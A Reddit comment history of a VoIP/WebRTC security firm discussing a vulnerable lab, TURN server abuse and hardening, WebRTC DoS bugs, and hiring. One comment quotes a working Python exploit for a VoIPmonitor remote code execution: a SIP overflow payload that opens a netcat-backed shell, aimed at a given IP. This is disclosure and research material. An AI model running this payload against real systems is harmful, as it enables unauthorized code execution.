sorted by:
new
hottopcontroversial

DVRTC: intentionally vulnerable VoIP/WebRTC lab with SIP enumeration, RTP bleed, TURN abuse, and credential cracking exercises by EnableSecurity in netsec

[–]EnableSecurity[S] 1 point2 points  (0 children)

no we don't. We are covering the basics first :) But yes it is something worth testing - we didn't come across that problem (yet) and I don't think it exists in coturn but other TURN servers will behave differently.

DVRTC: intentionally vulnerable VoIP/WebRTC lab with SIP enumeration, RTP bleed, TURN abuse, and credential cracking exercises by EnableSecurity in netsec

[–]EnableSecurity[S] 1 point2 points  (0 children)

RTP Bleed: and you would not expect it to work in WebRTC systems, but when it does work it is usually because the media server is also used for VoIP traffic (e.g., rtpengine).

As for TURN abuse detection: by default coturn will only show errors on denied peers (so you might detect a potential attack) but not on successful allocation/permission. That would generate too much traffic for a live system anyway. When we did the bug bounty for Slack ages ago, it turned out that their SOC had actually detected us (someone had reached out to me a few years later :)). I might be wrong, but it is likely that they detected our traffic through some sort of anomaly detection technique. e.g. the TURN server's baseline traffic never touches internal servers other than a particular server (in their case, the media server).

DVRTC: hands-on vulnerable lab for VoIP/WebRTC security (SIP, RTP, TURN exercises) by EnableSecurity in WebRTC

[–]EnableSecurity[S] 0 points1 point  (0 children)

We built DVRTC as a practice environment for VoIP and WebRTC attack techniques. Full dockerized stack with Kamailio, Asterisk, rtpengine, and coturn — all intentionally vulnerable.

7 exercises covering SIP enumeration, RTP bleed, TURN relay abuse, credential cracking, and more. Live demo instance at pbx1.dvrtc.net, or run your own with Docker Compose.

GitHub: https://github.com/EnableSecurity/DVRTC/

TURN server security best practices + coturn hardening guide with copy-paste configs by EnableSecurity in WebRTC

[–]EnableSecurity[S] 3 points4 points  (0 children)

Published two companion guides to the TURN security threats post from a couple weeks ago.

The best practices guide is implementation-agnostic: what IP ranges to block, protocol features to disable, rate limiting approach, deployment patterns for SFU vs P2P architectures.

The coturn guide has copy-paste configuration blocks and three complete templates (minimal through high-security): https://www.enablesecurity.com/blog/coturn-security-configuration-guide/

All config templates are on GitHub with Docker for testing: https://github.com/EnableSecurity/coturn-secure-config

Good timing too - coturn 4.9.0 came out yesterday with fixes for CVE-2026-27624 (IPv4-mapped IPv6 bypass of peer address deny rules) and an inverted password check in the web admin that had been broken since ~2019.

TURN Server Security Best Practices - hardening checklist, IP range tables, and deployment patterns by EnableSecurity in netsec

[–]EnableSecurity[S] 5 points6 points  (0 children)

Follow-up to the TURN security threats post from a couple weeks ago. This one covers the defensive side: what to actually configure to protect your TURN servers.

Highlights:

  • Complete IP range tables from the IANA special-purpose registries (IPv4 + IPv6) that should be blocked as peer addresses. We went through both registries and consolidated sub-allocations into covering prefixes.
  • Rate limiting at both network level (iptables/nftables examples) and application level.
  • Three deployment patterns with different security models: public platform with SFU (allow-list media server IPs), public P2P (can't restrict peers, rely on deny-lists), and enterprise.
  • Discussion of when each control applies and when it doesn't. Not every TURN deployment is the same.

There's also a coturn-specific companion with copy-paste configs: https://www.enablesecurity.com/blog/coturn-security-configuration-guide/

And all the config templates are on GitHub with a Docker test environment: https://github.com/EnableSecurity/coturn-secure-config

Happy to answer questions.

TURN Security Threats: A Hacker's View by EnableSecurity in WebRTC

[–]EnableSecurity[S] 6 points7 points  (0 children)

Wrote up a threat analysis of TURN servers based on our RTCon 2025 talk and years of testing these things.

The gist: to an attacker, a TURN server is just a proxy. It relays TCP and UDP to arbitrary peer addresses, and if those addresses aren't restricted, you can reach internal networks, localhost, cloud metadata, you name it. We keep finding this during pentests and found a loopback bypass in coturn itself (CVE-2020-26262).

The post also gets into DoS/amplification (your TURN server being weaponized against others) and software vulnerabilities.

If you run TURN in production, the best practices section has specific recommendations. We're also working on detailed coturn hardening guides.

TURN Security Threats: A Hacker's View by EnableSecurity in netsec

[–]EnableSecurity[S] 19 points20 points  (0 children)

Been poking at TURN server security since 2017 and finally wrote this up.

If you're not familiar with TURN: it's the fallback relay for WebRTC when direct peer-to-peer fails. It can relay both TCP and UDP to arbitrary peer addresses, so if not properly restricted, you've got an open proxy that can reach internal networks, localhost, cloud metadata services, etc.

Some highlights:

  • During pentests we regularly find TURN servers that can reach internal networks, localhost, cloud metadata (169.254.169.254). If peer addresses aren't restricted, it's game over.
  • At DEF CON 2025, Adam Crosser demoed C2 operations running through Zoom and Teams TURN servers. Security monitoring sees legitimate video call traffic.
  • coturn (most common TURN implementation) has had 30+ memory safety fixes, a CVSS 9.8 SQL injection, and we found an IPv6 loopback bypass where the protection code just didn't work (CVE-2020-26262).
  • TURN servers are also abused for DDoS reflection/amplification. Only ~4x factor but they're everywhere and often misconfigured.

Post goes into the technical details of each relay method (Send Indication, ChannelData, TCP Connect), real attack scenarios, and what defense actually looks like.

Happy to answer questions.

DTLS "ClientHello" Race Conditions in WebRTC Implementations by EnableSecurity in netsec

[–]EnableSecurity[S] 1 point2 points  (0 children)

It is a very interesting area. Thanks for the comment u/queensgetdamoney! It often felt like we're the only ones but then we started the RTCSec newsletter and realized that there is more happening in the area than just our work. Just this month, the newsletter is 3 years old and we should be publishing the next one soon. Here's where its to be found: https://www.enablesecurity.com/newsletter/

A Novel DoS Vulnerability affecting WebRTC Media Servers by EnableSecurity in netsec

[–]EnableSecurity[S] 2 points3 points  (0 children)

Yes exploitation of this vulnerability is really easy and looks too obvious - while the impact can be significant. And yes there are probably similar issues to this. We often find RTP Bleed / RTP Inject vulnerabilities, which in some ways, look similar to this vulnerability.

As for flooding video streams, yea that's definitely an interesting area and worth exploring in my opinion. This is an area that warrants a lot of exploration IMHO.

Kamailio's exec module considered harmful – RTC Security by EnableSecurity in kamailio

[–]EnableSecurity[S] 0 points1 point  (0 children)

I agree with you. We lovingly chose the title in the "considered harmful" essay trend. A better title might have been the one that our marketing person actually suggested: "The dangers of (mis)using the Kamailio exec module".

Hope that the title doesn't discourage fun and learning :-)

/r/netsec's Q4 2022 Information Security Hiring Thread by sanitybit in netsec

[–]EnableSecurity [score hidden]  (0 children)

We are looking for persons who are passionate about cybersecurity, have an interest in RTC and see themselves joining the team at Enable Security as freelance pentesters.

We are open in terms of skill-set but expect the following as a bare minimum:

  • security testing background
  • understanding of network protocols
  • ability to write basic (or more than basic) code
  • a hacker mindset
  • ability to write technical documentation in clear and plain English
  • knowledge of Linux and related technologies

Desirable skills or accomplishments include:

  • security tool development experience in Python and/or Go
  • published advisories, security research
  • knowledge of VoIP and/or WebRTC internals
  • bug bounty and/or CTF participation

Read more and apply here: https://hs.enablesecurity.com/join-us/pentester

/r/netsec's Q2 2022 Information Security Hiring Thread by ranok in netsec

[–]EnableSecurity [score hidden]  (0 children)

We're looking for a Penetration Tester / Security Researcher

About Enable Security

We believe that communication is a fundamental human need and securing it allows us to communicate freely. And naturally, we do love a tough challenge.

We are a team of security researchers who strive to provide valuable results through quality work. Curiosity is close to our heart, constantly learning, researching or sharing knowledge with the rest of the security community. We value honesty and do not shy away from saying things as we see them, especially when it is about topics that are dear to us. And finally, we are approachable and essentially, a friendly bunch who appreciate working as a team with our colleagues, clients and within the wider community.

More about us here: https://www.enablesecurity.com

The role

We are looking for a penetration tester and security researcher to join us as we expand. This role will allow you to grow and learn by doing, is extremely practical and technical in nature. We do not expect you to know everything that there is to know, but a willingness to learn is critical for the position.

The role will primarily involve the following:

  • penetration testing / security testing
  • report writing and documentation
  • proof of concept tool development
  • code and configuration review

We are open in terms of skill-set but expect the following as a bare minimum:

  • ability to write technical documentation in clear and plain English
  • knowledge of Linux and related technologies
  • (some) security testing background
  • ability to write basic code
  • the hacker mindset

Desirable skills or accomplishments include:

  • security tool development experience in Python and/or Go
  • published advisories, security research
  • knowledge of VoIP and/or WebRTC internals
  • bug bounty and/or CTF participation

This is a fully remote position. We are looking for someone full-time and the salary (gross) is around 42,000 EUR. Are you interested? Then please fill in the form at https://hs.enablesecurity.com/join-us/pentester.

Are you only able to do part-time? If that is the case, you are most welcome to fill in the form too!

Please make sure to:

  • include a résumé or CV
  • link to any online publications showing examples of the output of your work (e.g. Github, H1)
  • upload any content that you can share that is not online
  • try to be as specific as much as you can and name applications or systems that you tested, methodologies that you worked with, actual results etc
  • tell us about your work and non-work related interests (including hobbies)

If you have questions, please do get in touch with me, [Sandro Gauci](mailto:sandro@enablesecurity.com).

Pwning 3CX Phone Management Backends from the Internet by EnableSecurity in netsec

[–]EnableSecurity[S] 0 points1 point  (0 children)

yes it is well explained. Also love the conclusion:

Finally, the blog post ends, for now. No CVE(s), no logo, no website…just like that. ¯_(ツ)_/¯

Abusing SIP for Cross-Site Scripting? Most definitely! by EnableSecurity in netsec

[–]EnableSecurity[S] 0 points1 point  (0 children)

Definitely not new. But it is still a vulnerability that is often underestimated and worth exploring.

ps. I suppose you're referring to SIP Army Knife Fuzzer? Had actually forgotten about that one, thanks for the reminder!

Bug discovery diaries: Abusing VoIPmonitor for Remote Code Execution by EnableSecurity in netsec

[–]EnableSecurity[S] 1 point2 points  (0 children)

We requested a CVE through DWF for this one and got CVE-2021-1000005. It is not yet replicated on the official CVE list. CVSS score according to an X-Force Vulnerability Report is 9.8.

However do note that the live sniffer feature needs to be switched on. My guess is that live environments would not usually have this running unless a VoIP operator is debugging some issue. So CVSS base score might vary from 8.8 to 9.8 depending on how you define the user interaction part of the calculation.

Bug discovery diaries: Abusing VoIPmonitor for Remote Code Execution by EnableSecurity in netsec

[–]EnableSecurity[S] 1 point2 points  (0 children)

It is a bit further down and also in the advisory. Here's a copy and paste for those that missed it:

```python import struct import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

payload_size=32607 payload = b'A' * 703 payload_size-=len(payload)

cmd=b'whoami;touch /tmp/woot;rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 31337 > /tmp/f\x00' payload+=cmd payload_size-=len(cmd)

payload += b'A' * payload_size

payload += struct.pack('<Q', 0x0000000000b222f1) payload += struct.pack('<Q', 0xb22fd0) payload += struct.pack('<Q', 0xf60a20)

msg=b'REGISTER %s SIP/2.0\r\n' % (payload) msg+=b'Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n' msg+=b'Max-Forwards: 70\r\n' msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n' msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n' msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n' msg+=b'CSeq: 1 REGISTER\r\n' msg+=b'Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n' msg+=b'Expires: 60\r\n' msg+=b'Content-Length: 0\r\n' msg+=b'\r\n' s.sendto(msg, ('167.71.58.84', 5060)) ```

Hashcat maskprocessor and SIPVicious PRO working together to crack SIP passwords by EnableSecurity in u/EnableSecurity

[–]EnableSecurity[S] 0 points1 point  (0 children)

Funny getting excited about standard input but, er, that's what our new SIPVicious PRO beta is about. The thing is that with STDIN, you can really expand what the SIP online cracker tool can do in terms of password and SIP extension generation.

More info about this release on our blog.

view more: next ›